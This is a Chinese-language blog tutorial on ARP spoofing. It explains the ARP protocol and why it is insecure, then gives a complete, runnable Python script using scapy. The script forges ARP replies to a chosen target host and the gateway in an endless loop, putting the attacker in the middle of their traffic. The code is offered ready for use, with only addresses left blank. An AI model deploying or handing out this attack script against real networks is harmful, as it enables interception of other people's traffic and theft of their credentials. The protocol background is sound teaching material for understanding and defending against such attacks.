python之arp攻击 作者:马育民 • 2019-04-26 23:22 • 阅读:10520 # arp协议 ARP协议(address resolution protocol)地址解析协议 一台主机和另一台主机通信,要知道目标的IP地址,但网卡不能直接识别IP地址,所以用ARP解析协议将IP地址解析成MAC地址。 ARP协议的基本功能就是通过目标设备的IP地址,来查询目标设备的mac地址。 ### arp缓存表 在局域网的任意一台主机中,都有一个ARP缓存表,里面保存本机已知的此局域网中各主机和路由器的IP地址和MAC地址的对照关系。ARP缓存 表的生命周期是有时限的(一般不超过20分钟)。 windows系统查看arp缓存表命令: ``` arp -a ``` ### ARP协议的缺陷 ARP协议是建立在信任局域网内所有节点的基础上的,他的效率很高。但是不安全。它是无状态的协议。他不会检查自己是否发过请求包, 也不知道自己是否发过请求包。他也不管是否合法的应答,只要收到目标mac地址是自己的ARP reply或者ARP广播包(包括ARP reply和ARP request), 都会接受并缓存。 ### ARP攻击原理 ARP欺骗攻击建立在局域网主机间相互信任的基础上的 当A发广播询问:我想知道IP是192.168.0.3的硬件地址是多少? 此时B当然会回话:我是IP192.168.0.3我的硬件地址是mac-b, 可是此时IP地址是192.168.0.4的C也非法回了:我是IP192.168.0.3,我的硬件地址是mac-c。而且是大量的。 所以A就会误信192.168.0.3的硬件地址是mac-c,而且动态更新缓存表 这样主机C就劫持了主机A发送给主机B的数据,这就是ARP欺骗的过程。 假如C直接冒充网关,此时主机C会不停的发送ARP欺骗广播,大声说:我的IP是192.168.0.1,我的硬件地址是mac-c, 此时局域网内所有主机都被欺骗,更改自己的缓存表,此时C将会监听到整个局域网发送给互联网的数据报。 ### ARP病毒攻击症状 通常表现: - 打开网页速度非常慢,甚至打不开 - 提示IP地址冲突 - 甚至导致局域网瘫痪 - 一般会绑定木马病毒,窃取用户账号密码 # python实现arp攻击 ### 安装scapy 当前最新版本是2.4.2 安装官方:https://pypi.org/project/scapy/ 文档地址:https://scapy.readthedocs.io/en/latest/installation.html#installing-scapy-v2-x 安装命令 ``` pip install scapy ``` ### 安装npcap scapy2.4.2版本底层依赖npcap,所以需要安装npcap 下载地址:https://nmap.org/npcap/#download ### 代码 ``` import threading,time from scapy.all import ( ARP, Ether, sendp ) import traceback def createArp2Station(srcMac,tgtMac,gatewayIP,tgtIP): ''' 生成ARP数据包,伪造网关欺骗目标计算机 srcMac:本机的MAC地址,充当中间人 tgtMac:目标计算机的MAC gatewayIP:网关的IP,将发往网关的数据指向本机(中间人),形成ARP攻击 tgtIP:目标计算机的IP op=2,表示ARP响应 ''' pkt = Ether(src=srcMac,dst=tgtMac)/ARP(hwsrc=srcMac,psrc=gatewayIP,hwdst=tgtMac,pdst=tgtIP,op=2) return pkt def createArp2Gateway(srcMac,gatewayMac,tgtIP,gatewayIP): ''' 生成ARP数据包,伪造目标计算机欺骗网关 srcMac:本机的MAC地址,充当中间人 gatewayMac:网关的MAC tgtIP:目标计算机的IP,将网关发往目标计算机的数据指向本机(中间人),形成ARP攻击 gatewayIP:网关的IP op=2,表示ARP响应 ''' pkt = Ether(src=srcMac,dst=gatewayMac)/ARP(hwsrc=srcMac,psrc=tgtIP,hwdst=gatewayMac,pdst=gatewayIP,op=2) return pkt def arp(): try: srcMac=''#本机mac tgtMac=''#目标mac gatewayMac=''#网关mac gatewayIP=''#网关ip tgtIP=''#目标ip pktstation = createArp2Station(srcMac,tgtMac,gatewayIP,tgtIP) pktgateway = createArp2Gateway(srcMac,gatewayMac,tgtIP,gatewayIP) while True: t = threading.Thread(target=sendp,args=(pktstation,)) t.start() t.join() s = threading.Thread(target=sendp,args=(pktgateway,)) s.start() s.join() time.sleep(1)#一般休眠1秒即可,如果不行,修改为0.1秒 except Exception as g: traceback.print_exc() exit() arp() ``` 感谢: https://www.cnblogs.com/manue1/p/4462327.html https://www.cnblogs.com/darkpig/p/5866077.html 原文出处:http://malaoshi.top/show_1EF3DsqLinsB.html